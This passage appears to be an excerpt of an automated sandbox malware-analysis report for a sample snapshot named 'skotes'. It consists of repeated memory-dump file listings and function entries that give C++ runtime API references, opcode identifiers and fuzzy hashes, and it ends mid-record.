Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 7b08e8918840699a270689b8b9139d1e08fc1f5443504e972092ba37c5859dde
Instruction ID: ca580e63e897bc9a1600e6d9396aae1cfcb4bf6341b45f4ed40ffb8267f35794
Opcode Fuzzy Hash: 7b08e8918840699a270689b8b9139d1e08fc1f5443504e972092ba37c5859dde
Instruction Fuzzy Hash: 0311C275940208EBDB24FBA4CE86FEF77A86F10708F20615AB504B61D1EB71AE058675

Function 00ECA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00ECA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00ECA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ECA139

Strings

pScheduler, xrefs: 00ECA131

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 85ce8f3923eb9d2605857ffb0f4816ede0e967f9cfa0e96d7abfbf9f0ad906a6
Instruction ID: a67306d0211c106d7b113bf6bc806404d721c84a4c7b586e64fca3df36105283
Opcode Fuzzy Hash: 85ce8f3923eb9d2605857ffb0f4816ede0e967f9cfa0e96d7abfbf9f0ad906a6
Instruction Fuzzy Hash: 0EF0E97690120CE7C724FA54DD43E9EB3B89E80718B28913EE51577281DF72AE07C692

Function 00ED504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00ED5115
___AdjustPointer.LIBCMT ref: 00ED5138
___AdjustPointer.LIBCMT ref: 00ED51D4

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a6f9fc484b8c2b1a4753c0fc67b7e4bb44e6facc98c728197353513c0f1f4868
Instruction ID: a98cd1a9428ac1ad9020489472e847b367390cbf2a00fadf498b81e40e1b4133
Opcode Fuzzy Hash: a6f9fc484b8c2b1a4753c0fc67b7e4bb44e6facc98c728197353513c0f1f4868
Instruction Fuzzy Hash: 6551D173602E06AFDB298F14D841BBA77A5EF10304F14556FE815BB3A1E731AD42CB90

Function 00ED4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00ED4C66
TypeidsEqual.LIBVCRUNTIME ref: 00ED4C8B
PMDtoOffset.LIBCMT ref: 00ED4CA1
PMDtoOffset.LIBCMT ref: 00ED4D22

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 3a1ade8e759d3d7f8ae7270047201a18e06103fe6f44e6b8efc2c550570b00bc
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: BC5189B5A042099FDF11CF68C4806EEFBF6EF25358F14549AE851B7391D732AA06CB90

Function 00ECDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ECDB64

Part of subcall function 00EC8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EC8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00ECDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00ECDBE9
Concurrency::location::_Assign.LIBCMT ref: 00ECDC56

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: edc0649fb59aa6cbe5f209866dc4394cb013a3a6bf41d336684804059b22fc29
Instruction ID: adff328d674e32f23eb163b418b1703165bd3fa142dc35c6fd62ab56025a51fe
Opcode Fuzzy Hash: edc0649fb59aa6cbe5f209866dc4394cb013a3a6bf41d336684804059b22fc29
